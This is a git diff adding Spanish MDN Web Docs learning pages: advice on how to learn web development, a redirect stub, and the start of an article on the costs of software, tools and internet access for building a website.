+<p>También es la razón por la que, a veces, puedes quedar realmente atrapado en un problema, pero luego averiguar la respuesta cuando vas a tomar un café (o a caminar). Podrías:</p>
+
+<ol>
+ <li>Saber cómo solucionar el problema A con la herramienta A.</li>
+ <li>Saber cómo solucionar el problema B con la herramienta B.</li>
+ <li>No saber cómo solucionar el problema C.</li>
+</ol>
+
+<p>Supongamos que te enfocas en el problema C por un tiempo y te frustras porque no puedes encontrar la solución para resolverlo. Pero luego, después de caminar para tomar un poco de aire fresco, es posible que descubras que, mientras tu mente divaga, de repente estableces una conexión entre la herramienta A y la herramienta B, ¡y te das cuenta de que las puedes usar juntas para solucionar el problema C! No siempre es así de simple, pero también es sorprendente cuántas veces sucede. Esto también resalta la importancia de tomar descansos regulares cuando estás estudiando frente a la computadora.</p>
+
+<h3 id="Diferentes_materiales_de_aprendizaje">Diferentes materiales de aprendizaje</h3>
+
+<p>También vale la pena mirar los diferentes tipos de materiales de aprendizaje disponibles, para ver cuáles son los más efectivos para que aprendas.</p>
+
+<h4 id="Artículos_textuales">Artículos textuales</h4>
+
+<p>Encontrarás muchos artículos escritos en la web para enseñarte sobre diseño web. Como la mayor parte de este curso, por ejemplo. Algunos de los artículos serán tutoriales, para enseñarte una determinada técnica o concepto importante (como "<em>aprender a crear un reproductor de video</em>" o "<em>Aprender el modelo de cajas CSS</em>"), y algunos de los artículos serán material de referencia, para permitirte recordar detalles que hayas olvidado (como "<em>¿cuál es la sintaxis de la propiedad <code>background</code> de CSS</em>"?)</p>
+
+<p>MDN Web Docs es muy bueno para ambos tipos — el área en la que te encuentras actualmente es excelente para aprender técnicas y conceptos, y también tenemos varias secciones de referencia gigantes que te permiten buscar cualquier sintaxis que no puedas recordar.</p>
+
+<p>También hay varios otros recursos excelentes en la web, algunos de los cuales mencionaremos a continuación.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: el texto anterior debería haberte proporcionado un dato importante: <em>¡no se espera que recuerdes todo!</em> Los desarrolladores web profesionales todo el tiempo usan herramientas como <em>MDN Web Docs</em> para buscar cosas que han olvidado. Como descubrirás a lo largo de estas líneas, aprender desarrollo web tiene más que ver con la resolución de problemas y patrones de aprendizaje que con el aprendizaje de muchas sintaxis.</p>
+</div>
+
+<h4 id="Videos">Videos</h4>
+
+<p>También hay una serie de sitios que tienen contenido de aprendizaje de video en ellos. YouTube es obvio, con canales como <a href="https://www.youtube.com/channel/UC7TizprGknbDalbHplROtag" rel="noopener">Mozilla Layout Land</a>, <a href="https://www.youtube.com/MozillaDeveloper" rel="noopener">MozillaDeveloper</a> y <a href="https://www.youtube.com/user/ChromeDevelopers/" rel="noopener">Google ChromeDevelopers</a> que proporcionan muchos útiles videos. Muchas personas prefieren artículos textuales para un aprendizaje más profundo y material de referencia, y videos para explicaciones rápidas de conceptos y nuevas características, pero realmente depende de ti lo que prefieras aprender. Aquí no hay una respuesta correcta e incorrecta.</p>
+
+<h4 id="Código_de_juegos_interactivos">Código de juegos interactivos</h4>
+
+<p>Posiblemente seas el tipo de persona que prefiere instrucciones mínimas y preferirías saltar directamente y comenzar a jugar con el código. Este también es un enfoque razonable, y algunos sitios de aprendizaje tienden a favorecerlo. <a href="https://www.codecademy.com/" rel="noopener">Codecademy,</a> por ejemplo, es un sitio de aprendizaje donde los tutoriales consisten principalmente en editores de códigos interactivos en los que debes escribir directamente el código y ver si se logró el resultado deseado.</p>
+
+<p>Muchas páginas de referencia de documentos web de MDN también proporcionan ejemplos interactivos, donde puedes modificar el código y ver cómo cambia el resultado en vivo. Y tampoco hay nada de malo en crear tus propios ejemplos de código en tu computadora o en un editor de código en línea como <a href="https://jsbin.com/?html,css,js,output" rel="noopener">JSBin</a>, <a href="https://codepen.io/" rel="noopener">Codepen</a> o <a href="https://glitch.com/" rel="noopener">Glitch</a>. De hecho, ¡te invitarán a usarlos como parte de este curso cuando estés aprendiendo!</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los editores de código en línea también son realmente útiles para compartir el código que has escrito, por ejemplo, si estás colaborando en el aprendizaje con otra persona que no se encuentra en la misma ubicación o se lo envías a alguien para pedir ayuda con eso. Puedes compartir la dirección web del ejemplo con ellos para que puedan verlo y ayudarte.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Es posible que prefieras un método de aprendizaje sobre los demás, pero, de manera realista, probablemente terminarás con un enfoque híbrido. Y probablemente se te ocurran otros métodos además de los tres que cubrimos anteriormente.</p>
+</div>
+
+<h3 id="Haz_un_plan">Haz un plan</h3>
+
+<p>Es una buena idea crear un plan para ayudarte a lograr lo que quieres conseguir a través de tu aprendizaje.</p>
+
+<h4 id="Una_declaración_de_objetivos">Una declaración de objetivos</h4>
+
+<p>Suena tonto, pero ¿por qué no comenzar con una sola oración que diga lo que quieres lograr? Los siguientes tienen diferentes ámbitos, pero todos son realistas y alcanzables:</p>
+
+<ul>
+ <li>Quiero convertirme en un desarrollador web profesional dentro de dos años.</li>
+ <li>Quiero aprender lo suficiente como para crear un sitio web para mi club de tenis amateur local.</li>
+ <li>Quiero aprender HTML y CSS para poder ampliar mi rol de trabajo para encargarme de actualizar el contenido del sitio web de nuestra empresa.</li>
+</ul>
+
+<p>Los siguientes no son tan razonables:</p>
+
+<ul>
+ <li>Quiero pasar de ser un principiante completamente novato a ser un desarrollador web senior en tres meses.</li>
+ <li>Quiero comenzar mi propia empresa y construir una red social que supere a Facebook en dos años.</li>
+</ul>
+
+<h4 id="¿Qué_necesitas_para_llegar_allí">¿Qué necesitas para llegar allí?</h4>
+
+<p>Una vez que hayas descrito tu objetivo, es una buena idea investigar qué necesitarás para lograrlo. Por ejemplo:</p>
+
+<p>Materiales que necesito:</p>
+
+<ul>
+ <li>Un ordenador</li>
+ <li>Acceso a Internet</li>
+ <li>Bolígrafos y papel</li>
+</ul>
+
+<p>Conocimiento que necesito:</p>
+
+<ul>
+ <li>Cómo usar HTML, CSS, JavaScript y las herramientas asociadas y las mejores prácticas para crear sitios web y aplicaciones web (¡definitivamente te podemos ayudar con esto!).</li>
+ <li>Cómo obtener un dominio, alojamiento y usarlos para poner un sitio web o una aplicación en línea.</li>
+ <li>Cómo dirigir una pequeña empresa.</li>
+ <li>Cómo publicitar tu negocio y atraer clientes.</li>
+</ul>
+
+<h4 id="¿Cuánto_tiempo_y_dinero_costará">¿Cuánto tiempo y dinero costará?</h4>
+
+<p>Calcula el tiempo y el costo para obtener estas cosas. Si necesitas trabajar para ganar dinero para comprar los materiales requeridos, entonces deberás tener en cuenta el tiempo para hacerlo. Una vez que tengas un estimado del tiempo, puedes comenzar a elaborar un plan para tu vida.</p>
+
+<h4 id="¿Cuántas_horas_por_semana_necesitas_invertir">¿Cuántas horas por semana necesitas invertir?</h4>
+
+<p>Una vez que sepas lo que necesitas hacer y cuánto tiempo crees que te llevará, puedes comenzar a escribir un plan a seguir para lograr tu objetivo. Puede ser tan simple como:</p>
+
+<p>"Me llevará 500 horas aprender lo que necesito saber, y tengo un año para hacerlo, así que si asumo 2 semanas de vacaciones, tendré que trabajar en esto durante 10 horas por semana. Estoy gratis por las tardes y fines de semana, así que planearé mi tiempo en torno a eso".</p>
+
+<p>La cantidad de tiempo que puedes dedicar a esto, por supuesto, depende de cuáles sean tus circunstancias. Si estás en la escuela, entonces tienes mucho más tiempo libre que si tienes un trabajo y niños que mantener. Todavía es posible lograr tus objetivos, pero debes ser realista sobre la rapidez con que puedes lograrlo.</p>
+
+<p>Si estás haciendo un curso colegial o universitario para aprender desarrollo web, entonces la mayor parte de esta planificación la haces tú, ¡qué suerte!</p>
+
+<p>Cuando hayas elaborado un horario semanal, debes mantener un registro de lo que logras hacer cada semana en una simple hoja de cálculo o incluso en un cuaderno.</p>
+
+<p>Además, sería una buena idea tener algunos objetivos secundarios resueltos que te permitan realizar fácilmente un seguimiento de dónde te encuentras, por ejemplo:</p>
+
+<ul>
+ <li>Conceptos básicos de HTML y CSS aprendidos en verano</li>
+ <li>Conceptos básicos de JavaScript aprendidos en Diciembre</li>
+ <li>Ejemplo de proyecto del sitio web creado para el próximo mes de abril</li>
+ <li>etc.</li>
+</ul>
+
+<p>Sigue pensando en cuánto progreso estás haciendo y ajusta tu plan si es necesario.</p>
+
+<h3 id="Mantente_motivado">Mantente motivado</h3>
+
+<p>Es difícil mantenerte motivado, especialmente si estás tratando de aprender una habilidad compleja como la programación o el desarrollo web. Lo que sigue son algunos consejos para mantenerte motivado y seguir trabajando:</p>
+
+<ul>
+ <li><strong>Intenta que tu entorno de trabajo sea lo más productivo posible</strong>. Intenta conseguir un escritorio y una silla cómodos para trabajar, asegúrate de tener suficiente luz para ver lo que estás haciendo e intenta incluir cosas que te ayuden a concentrarte (por ejemplo, música suave, fragancias, cualquier otra cosa que necesites). No intentes trabajar en una habitación con distracciones, por ejemplo, un televisor encendido, ¡con tus amigos mirando fútbol! Además, deja tu teléfono móvil fuera de la habitación; la mayoría de las personas que lo tenemos nos distraemos mucho con el teléfono, por lo que debes dejarlo en otro lugar.</li>
+ <li><strong>Tómate descansos regulares</strong>. No es bueno para tu motivación seguir trabajando durante horas sin descanso, especialmente si te resulta difícil o te estás quedando atrapado en un problema. Eso solo conduce a la frustración — a menudo, es mejor tomar un descanso, muévete un poco, luego relájate con una bebida antes de volver al trabajo, y como dijimos anteriormente, el aprendizaje difuso que haces en ese momento a menudo puede ayudarte para encontrar una solución al problema que estabas enfrentando. Además, físicamente es malo trabajar durante demasiado tiempo sin un descanso — mirar un monitor durante demasiado tiempo puede lastimar los ojos, y permanecer sentado demasiado tiempo puede ser malo para la espalda o las piernas. Recomendamos tomar un descanso de 15 minutos cada hora a 90 minutos.</li>
+ <li><strong>Come, haz ejercicio y duerme</strong>. Come saludablemente, haz ejercicio regularmente y asegúrate de dormir lo suficiente. Esto suena obvio, pero es fácil olvidar cuando realmente te dedicas a la codificación. Incluye estos ingredientes esenciales en tu horario y asegúrate de no estar haciendo tu tiempo de aprendizaje en lugar de estas cosas.</li>
+ <li><strong>Regálate recompensas</strong> . Es cierto que <em>todo trabajo y nada de juego hacen que Jack sea un niño aburrido</em>. Debes tratar de programar cosas divertidas para hacer después de cada sesión de aprendizaje, que solo tendrás cuando hayas terminado y completado el aprendizaje. Si realmente te gustan los juegos, por ejemplo, hay algo bastante motivador en decir "no jugaré esta noche a menos que termine mis 5 horas de aprendizaje". Ahora, todo lo que necesitas es fuerza de voluntad. ¡Buena suerte!</li>
+ <li><strong>Coaprendizaje y demostración</strong>. Esta no será una opción para todos, pero si es posible, trata de aprender junto con otros. Una vez más, esto es más fácil si estás haciendo un curso universitario sobre desarrollo web, pero ¿tal vez podrías convencer a un amigo para que aprenda junto contigo? o encontrar una reunión local o un grupo de intercambio de habilidades. Es realmente útil y motivador tener a alguien con quien discutir ideas y pedir ayuda, y también debes tomarte el tiempo para demostrar tu trabajo. Esas palabras de agradecimiento te estimularán.</li>
+</ul>
+
+<h3 id="Resolución_de_problemas_eficaz">Resolución de problemas eficaz</h3>
+
+<p>No hay una única forma efectiva de resolver todos los problemas (y aprender todo) lo relacionado con el diseño y desarrollo web, pero hay algunos consejos generales que te servirán en la mayoría de los casos.</p>
+
+<h4 id="Romper_las_cosas_en_trozos">Romper las cosas en trozos</h4>
+
+<p>Para empezar, cuando intentas implementar algo específico y parece realmente difícil entenderlo, debes tratar de dividirlo en múltiples problemas o fragmentos más pequeños.</p>
+
+<p>Por ejemplo, si estás considerando la tarea de "Crear un sitio web simple de dos columnas", la puedes desglosar de la siguiente manera:</p>
+
+<ul>
+ <li>Crea la estructura HTML</li>
+ <li>Resuelve la tipografía básica del sitio</li>
+ <li>Elabora un esquema de color básico</li>
+ <li>Implementa un diseño de alto nivel: encabezado, menú de navegación horizontal, área de contenido principal con columnas principales y laterales y pie de página.</li>
+ <li>Implementa un menú de navegación horizontal.</li>
+ <li>etc.</li>
+</ul>
+
+<p>Luego, podrías desglosarlo aún más, por ejemplo, "Implementar menú de navegación horizontal" podría escribirse como:</p>
+
+<ul>
+ <li>Haz una lista de los elementos del menú situados horizontalmente en una línea.</li>
+ <li>Elimina los valores predeterminados innecesarios, como el espaciado de las listas y viñetas.</li>
+ <li>Estiliza el cursor/enfoque/estados activos de los elementos del menú adecuadamente.</li>
+ <li>Haz los elementos del menú igualmente espaciados a lo largo de la línea.</li>
+ <li>Da a los elementos del menú suficiente espacio vertical.</li>
+ <li>Asegúrate de que el texto esté centrado dentro de cada elemento del menú</li>
+ <li>etc.</li>
+</ul>
+
+<p>Cada uno de estos problemas no parece tan difícil de resolver como el gran problema que tuviste inicialmente. ¡Ahora solo tienes que empezar a resolverlos todos!</p>
+
+<h4 id="Aprende_y_reconoce_los_patrones">Aprende y reconoce los patrones</h4>
+
+<p>Como dijimos antes, el diseño/programación web se trata principalmente de resolución de problemas y patrones. Una vez que hayas escrito lo que necesitarás hacer para resolver un problema específico, puedes comenzar a descubrir qué características tecnológicas usar para resolverlo. Por ejemplo, los desarrolladores web profesionales han creado muchos menús de navegación horizontal, por lo que inmediatamente comenzarás a pensar en una solución como esta:</p>
+
+<p>Un menú de navegación generalmente se crea a partir de una lista de enlaces, algo así como:</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Primer elemento del menú&lt;/li&gt;
+  &lt;li&gt;Segundo elemento del menú&lt;/li&gt;
+  &lt;li&gt;Tercer elemento del menú&lt;/li&gt;
+  &lt;li&gt;etc.&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Para hacer que todos los elementos se asienten horizontalmente en una línea, la forma moderna más fácil es usar flexbox:</p>
+
+<pre class="notranslate">ul {
+  display: flex;
+}</pre>
+
+<p>Para eliminar el espacio innecesario y las viñetas, podemos hacer esto:</p>
+
+<pre class="notranslate">ul {
+  list-style-type: none;
+  padding: 0;
+}</pre>
+
+<p>etc.</p>
+
+<p>Si realmente eres un principiante en el desarrollo web, tendrás que estudiar y buscar en la web y encontrar soluciones para tales problemas. Si eres un desarrollador web profesional, probablemente recordarás la última vez que resolviste un problema similar, y solo tendrás que buscar algunos bits de la sintaxis que olvidaste desde entonces.</p>
+
+<p>Cuando encuentres soluciones a tales problemas, vale la pena escribir notas sobre lo que hiciste y mantener algunos ejemplos de código mínimos en un directorio en algún lugar para que puedas mirar hacia atrás en el trabajo anterior.</p>
+
+<p>Además, la web tiene {{web.link("/es/docs/Learn/Common_questions/What_are_browser_developer_tools", "herramientas de desarrollo")}} que te permiten ver el código utilizado para crear cualquier sitio en la web, si no tienes una solución a mano, un buen método de investigación es encontrar sitios web con características similares en la naturaleza y averiguar cómo lo hicieron.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Observa cómo hablamos antes sobre el problema que estamos tratando de resolver primero, y la tecnología utilizada para resolverlo, en segundo lugar. Esta, casi siempre es la mejor manera de hacerlo — no comiences con una tecnología nueva y genial que desees usar, e intenta adaptarla a tu caso de uso.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: La solución más sencilla suele ser la mejor.</p>
+</div>
+
+<h3 id="Practica">Practica</h3>
+
+<p>Cuanto más practiques la resolución de un problema, más fuertes serán las vías neuronales de tu cerebro en esa área y más fácil será recordar los detalles y la lógica de ese problema en particular.</p>
+
+<p>Sigue jugando con el código y practica más. Si se te acaban los problemas por resolver, busca algunas pruebas en línea, realiza algunos cursos más o pregunta a tus amigos y familiares (o escuela, o iglesia local) si hay algo que les gustaría que construyeras para ellos.</p>
+
+<h2 dir="ltr" id="Obtener_ayuda">Obtener ayuda</h2>
+
+<p dir="ltr">El desarrollo web requiere que aprendas un complejo conjunto de habilidades — a veces estarás atascado y necesitarás ayuda. Como dijimos antes, incluso los desarrolladores profesionales regularmente necesitan ayuda para resolver problemas.</p>
+
+<p dir="ltr">Hay una variedad de formas de obtener ayuda, y la siguiente información son algunos consejos para hacerlo de manera más efectiva.</p>
+
+<h3 dir="ltr" id="Búsquedas_web_efectivas">Búsquedas web efectivas</h3>
+
+<p dir="ltr">Una habilidad importante para aprender es el arte de las búsquedas web efectivas — ¿qué términos de búsqueda necesitas usar en tu motor de búsqueda favorito para encontrar los artículos que necesitas?</p>
+
+<p dir="ltr">A menudo es bastante obvio qué buscar. Por ejemplo:</p>
+
+<ul dir="ltr">
+ <li>Si deseas obtener más información sobre el diseño web receptivo, puedes buscar "diseño web receptivo".</li>
+ <li>Si deseas obtener más información sobre una característica tecnológica específica, como el elemento HTML <code>&lt;video&gt;</code>, el <code>background-color</code> o las propiedades <code>opacity</code> de CSS, o el método <code>Date.setTime()</code> de JavaScript, debes buscar el nombre de la característica.</li>
+ <li>Si estás buscando información más específica, puedes agregar otras palabras clave como modificadores, por ejemplo, "atributo de reproducción automática de elementos &lt;video&gt;" o "Parámetros Date.setTime".</li>
+</ul>
+
+<p dir="ltr">Si deseas buscar algo que tenga palabras de moda menos obvias, debes pensar en qué es más probable que te devuelva lo que deseas.</p>
+
+<ul dir="ltr">
+ <li>Ejecuta el código después de cumplir varias promesas</li>
+ <li>Reproduce una transmisión de video desde una cámara web en el navegador</li>
+ <li>Crea un degradado lineal en el fondo de tu elemento</li>
+</ul>
+
+<h4 id="Mensajes_de_error">Mensajes de error</h4>
+
+<p>Si tienes un problema con algún código y aparece un mensaje de error específico, a menudo es una buena idea copiar el mensaje de error en tu motor de búsqueda y utilizarlo como término de búsqueda. Si otras personas han tenido el mismo problema, es probable que haya algunos artículos o publicaciones de blog al respecto en lugares como MDN o Stack Overflow.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <a href="https://stackoverflow.com/">Stack Overflow</a> es un sitio web realmente útil; básicamente es una enorme base de datos de preguntas y respuestas seleccionadas sobre diversas tecnologías y técnicas relacionadas. Probablemente encontrarás una respuesta que responda a tu pregunta. Si no, puedes hacer una pregunta y ver si alguien puede ayudarte.</p>
+</div>
+
+<h4 id="Prueba_en_el_navegador">Prueba en el navegador</h4>
+
+<p dir="ltr">A menudo es una buena idea ver si tu problema está afectando a todos los navegadores, o si solo ocurre en uno o en un pequeño número de navegadores. Si solo afecta a un navegador, por ejemplo, puedes usar ese navegador para limitar la búsqueda. Las búsquedas de ejemplo podrían verse así:</p>
+
+<ul dir="ltr">
+ <li>La reproducción de &lt;video&gt; no funciona en el navegador iOS.</li>
+ <li>Firefox no parece admitir la API de Beetlejuice.</li>
+</ul>
+
+<h3 dir="ltr" id="Usa_MDN">Usa MDN</h3>
+
+<p dir="ltr">El sitio en el que ya estás tiene una gran cantidad de información disponible, tanto material de referencia para buscar la sintaxis del código como guías/tutoriales para aprender técnicas.</p>
+
+<p dir="ltr">Hemos proporcionado la mayoría de las respuestas a las preguntas que tendrás sobre los fundamentos del desarrollo web en esta parte de MDN. Si estás atascado, es bueno volver a leer los artículos asociados para ver si te perdiste algo.</p>
+
+<p dir="ltr">Si no estás seguro de qué artículo leer, intenta buscar en MDN algunas palabras clave relacionadas (como se indicó anteriormente), o intenta una búsqueda web general. Para buscar en MDN, puedes usar la funcionalidad de búsqueda incorporada del sitio o mejor aún, usar tu motor de búsqueda favorito y poner "mdn" delante del término de búsqueda, por ejemplo, "diseño web receptivo mdn" o "backgrounf-color mdn".</p>
+
+<h3 dir="ltr" id="Otros_recursos_en_línea">Otros recursos en línea</h3>
+
+<p>Ya mencionamos Stack Overflow, pero hay otros recursos en línea que pueden ayudar.</p>
+
+<p>Es bueno encontrar una comunidad de la que formar parte, y obtendrás mucho respeto si intentas ayudar a otros a responder sus preguntas y también a hacer las tuyas. Otros buenos ejemplos incluyen:</p>
+
+<ul dir="ltr">
+ <li><a href="https://discourse.mozilla.org/c/mdn" rel="noopener">Discurso MDN</a></li>
+ <li><a href="https://www.sitepoint.com/community/" rel="noopener">Foros de Sitepoint</a></li>
+ <li><a href="https://www.webdeveloper.com/" rel="noopener">Foros de webdeveloper.com</a></li>
+</ul>
+
+<p dir="ltr">Sin embargo, también tiene sentido encontrar grupos útiles en sitios de redes sociales como Twitter o Facebook. Busca grupos que discutan los temas de desarrollo web que te interesen y únete. Sigue a las personas en Twitter que sabes que son influyentes, inteligentes o simplemente parecen compartir muchos consejos útiles.</p>
+
+<h3 dir="ltr" id="Encuentros_físicos">Encuentros físicos</h3>
+
+<p dir="ltr">Por último, deberías intentar asistir a algunas reuniones físicas para conocer a otras personas de ideas afines, especialmente aquellas que atienden a principiantes. <a href="https://www.meetup.com/find/tech/" rel="noopener">meetup.com</a> es un buen lugar para encontrar reuniones físicas locales, y también puedes probar tu prensa local o lo que hay en los sitios.</p>
+
+<p dir="ltr">También puedes intentar asistir a conferencias web completas. Si bien estas pueden ser costosas, puedes intentar ofrecerte como voluntario con ellos, y muchas conferencias ofrecen boletos de tarifa reducida, por ejemplo, boletos de estudiante o diversidad.</p>
+
+<h2 dir="ltr" id="Ve_también">Ve también</h2>
+
+<ul dir="ltr">
+ <li><a href="https://www.coursera.org/learn/learning-how-to-learn" rel="noopener">Coursera: aprende a aprender</a></li>
+ <li><a href="https://www.freecodecamp.org/" rel="noopener">Freecodecamp</a></li>
+ <li><a href="https://www.codecademy.com/" rel="noopener">Codecademy</a></li>
+</ul>
diff --git a/files/es/learn/codificacion-scripting/index.html b/files/es/learn/codificacion-scripting/index.html
new file mode 100644
index 0000000000..50c3065d4a
--- /dev/null
+++ b/files/es/learn/codificacion-scripting/index.html
@@ -0,0 +1,10 @@
+---
+title: Codificación-Scripting
+slug: Learn/codificacion-scripting
+tags:
+  - Codificación
+  - Principiante
+  - Scripting
+translation_of: Learn
+---
+<p>REDIRIGE <a href="/es/docs/Learn">Aprende</a></p>
diff --git a/files/es/learn/common_questions/cuanto_cuesta/index.html b/files/es/learn/common_questions/cuanto_cuesta/index.html
new file mode 100644
index 0000000000..aeffd72c64
--- /dev/null
+++ b/files/es/learn/common_questions/cuanto_cuesta/index.html
@@ -0,0 +1,162 @@
+---
+title: ¿Cuánto cuesta hacer algo en la Web?
+slug: Learn/Common_questions/Cuanto_cuesta
+tags:
+  - Comenzando
+  - Herramientas de desarrollo web
+  - Principiante
+  - alojamiento
+  - costo
+  - hosting
+translation_of: Learn/Common_questions/How_much_does_it_cost
+---
+<div class="summary">
+<p>Dedicarse a la web no es tan barato como parece. En este artículo discutimos cuánto puedes tener que gastar, y por qué.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Deberías ya entender <a href="/en-US/Learn/What_software_do_I_need">qué software necesitas</a>, la diferencia entre <a href="/en-US/Learn/page_vs_site_vs_server_vs_search_engine">una página web, un sitio web, etc</a>., y qué <a href="/en-US/Learn/Understanding_domain_names">es un nombre de dominio</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Examina el proceso completo para crear un sitio web y descubre cuánto te puede costar cada paso.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">Al lanzar un sitio web, puedes no gastar nada, o puede que el costo sea muy elevado. En este artículo discutimos acerca de cuánto cuesta todo y cómo obtienes lo que pagas (o no pagas).</span></p>
+
+<h2 id="Software">Software</h2>
+
+<h3 id="Editores_de_texto">Editores de texto</h3>
+
+<p>Probablemente tienes un editor de texto: tal como Notepad en Windows, Gedit en Linux, TextEdit en Mac. Le resultará más fácil escribir código si elige un editor que coloree el código, chequee la sintaxis y te ayude a mantener la estructura del programa. </p>
+
+<p>Muchos editores son gratis, por ejemplo <a href="https://atom.io/">Atom</a>, <a href="http://brackets.io/">Brackets</a>, <a href="http://bluefish.openoffice.nl/">Bluefish</a>, <a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a>, <a href="http://eclipse.org/">Eclipse</a>, y <a href="https://netbeans.org/">Netbeans</a>. Algunos, como <a href="http://www.sublimetext.com/">Sublime Text</a>, los puedes probar tanto como quieras, pero se te anima a pagar. Otros, como <a href="https://www.jetbrains.com/phpstorm/">PhpStorm</a>, pueden costar entre unas pocas docenas y 200 dólares, en dependencia del plan que pague. Algunos de ellos, como <a href="http://www.visualstudio.com/">Microsoft Visual Studio</a>, pueden costar cientos o miles de dólares; aunque Visual Studio Express is gratis para desarrolladores individuales o proyectos de código abierto. A menudo, los editores pagados tienen una versión de prueba.</p>
+
+<p>Para comenzar, le segerimos probar con diferentes editores, para tener un indicio de cuál trabaja mejor para ti. Si está solamente escribiendo código simple de {{Glossary("HTML")}}, {{Glossary("CSS")}}, and {{Glossary("Javascript")}}, utilice un editor sencillo.</p>
+
+<p>El el precio no refleja de manera confiable la calidad o utilidad de un editor de texto. Tienes que probarlo por ti mismo y decidir si se ajusta a tus necesidades. Por ejemplo, Sublime Text es barato, pero tiene muhos plugins gratis que pueden extender su funcionalidad. </p>
+
+<h3 id="Editores_de_imágenes">Editores de imágenes</h3>
+
+<p>Tu sistema incluye seguramente un simple editor de imágenes, o visor: Paint en Windows, Eye of Gnome en Ubuntu, Preview en Mac. Estos programas son relativamente limitados, pronto gustarás tener un editor más potente para añadir capas, efectos y agrupamiento de imágenes.</p>
+
+<p>Los editores pueden ser gratis (<a href="http://www.gimp.org/">GIMP</a>, <a href="https://www.getpaint.net/">Paint.NET</a>), de costo moderado (<a href="http://www.paintshoppro.com/">PaintShop Pro</a>, menos de $100), o cientos de dólares (<a href="https://www.adobe.com/products/photoshop.html">Adobe Photoshop</a>).</p>
+
+<p>Puedes usar cualquiera de ellos, ya que tienen funciones similares, aunque algunos son tan completos que nunca vas a utilizar cada característica. Si en algún punto necesitas intercambiar proyectos con otros diseñadores, deberías descubrir qué herramientas utilizan. Los editores pueden exportar los proyectos finalizados a formatos de archivo estándares, pero cada editor guarda los proyectos actuales en su formato especializado. La mayoría de las imágenes en Internet están protegidas por los derechos de autor, por lo que es mejor chequear la licencia del aechivo antes de utilizarlo. Sitios como <a href="https://pixabay.com/">Pixabay</a> proporcionan imágenes bajo la licencia CC0, así que la puedes usar, editar y publicar incluso con modificaciones para uso comercial.</p>
+
+<h3 id="Editores_de_medios">Editores de medios</h3>
+
+<p>Si desea incluir video o audio en su sitio web, puede incrustar servicios online (por ejemplo YouTube, Vimeo, or Dailymotion), o incluir sus propios videos (ver más abajo los costos de ancho de banda).</p>
+
+<p>Para archivos de audio, puede encontrar software gratuito(<a href="http://audacity.sourceforge.net/?lang=en">Audacity</a>, <a href="http://www.wavosaur.com/">Wavosaur</a>), o pagar hasta unos poco cientos de dólares (<a href="http://www.sonycreativesoftware.com/soundforge">Sony Sound Forge</a>, <a href="http://www.adobe.com/products/audition.html">Adobe Audition</a>). Sin embargo, el software de edición de vídeo puede ser gratis (<a href="http://www.pitivi.org/">PiTiVi</a>, <a href="http://www.openshot.org/">OpenShot</a> for Linux, <a href="https://www.apple.com/mac/imovie/">iMovie</a> for Mac), menos de $100 (<a href="https://www.adobe.com/us/products/premiere-elements.html">Adobe Premiere Elements</a>), o varios cientos de dólares (<a href="https://www.adobe.com/products/premiere.html">Adobe Premiere Pro</a>, <a href="http://www.avid.com/US/products/family/Media-Composer">Avid Media Composer</a>, <a href="https://www.apple.com/final-cut-pro/">Final Cut Pro</a>). El software recibido con tu cámara digital puede cubrir todas tus necesidades.</p>
+
+<h3 id="Herramientas_de_publicación">Herramientas de publicación</h3>
+
+<p>Además necesitas una forma de subir archivos: desde tu disco duro a un servidor web distante. Para hacer esto deberías utilizar una herramienta de publicación tal como un cliente  (S)<a href="/en-US/docs/Glossary/FTP">FTP</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, o <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p>
+
+<p>Cada sistema operativo incluye un cliente (S)FTP, como parte de su administrador de archivos. Windows Explorer, Nautilus (un administrador de archivos común en Linux), y Mac Finder inclueyen todos esta funcionalidad. Sin embargo, las personas a menudo seleccionan clientes (S)FTP dedicados a mostrar directorios locales y remotos y almacenar contraseñas de servidor.</p>
+
+<p>Si desea instalar un cliente (S)FTP, existen varias opciones seguras y gratuitas: por ejemplo, <a href="https://filezilla-project.org/">FileZilla</a> para todas las plataformas, <a href="http://winscp.net/">WinSCP</a> para Windows, <a href="https://cyberduck.io/">Cyberduck</a> para Mac o Windows, <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_software">y otros más</a>.</p>
+
+<p>Debido a que el protocolo FTP es inseguro, deberías asegurarte de utilizar SFTP — la versión segura, encriptada de FTP que la mayoría de los sitios de alojamiento (en inglés <em>hosting</em>) actuales ofrecen por defecto— u otra solución segura como Rsync sobre SSH.</p>
+
+<h2 id="Navegadores">Navegadores</h2>
+
+<p>Ya debes tener un navegador o puedes conseguirlo gratuito. Si lo necesitas, descarga Firefox <a href="https://www.mozilla.org/en-US/firefox/all/">aquí</a> o Google Chrome <a href="https://www.google.com/chrome/browser/">aquí</a>.</p>
+
+<h2 id="Acceso_a_la_web">Acceso a la web</h2>
+
+<h3 id="Computadora_módem">Computadora / módem</h3>
+
+<p>Necesitas una computadora. El costo puede variar mucho, en dependencia de tu presupuesto, y dónde vivas. Para publicar un sitio web básico, sólo necesitas una computadora básica capaz de ejecutar, por lo que el nivel de entrada puede ser bastante bajo. </p>
+
+<p>Por supuesto, necesitarás una computadora más formal si quieres producir diseños complicados, retocar fotos, o producir archivos de audio y vídeo. </p>
+
+<p>Necesitas subir contenido a un servidor remoto (ver <em>Alojamiento</em> más abajo), por lo que necesitas un módem.Tu proveedor {{Glossary("ISP")}} puede venderte la conexión a internet por unos pocos dólares al mes, aunque tu presupuesto pudiera variar, en dependencia de tu localización.</p>
+
+<h3 id="Acceso_del_Proveedor_ISP">Acceso del Proveedor ISP</h3>
+
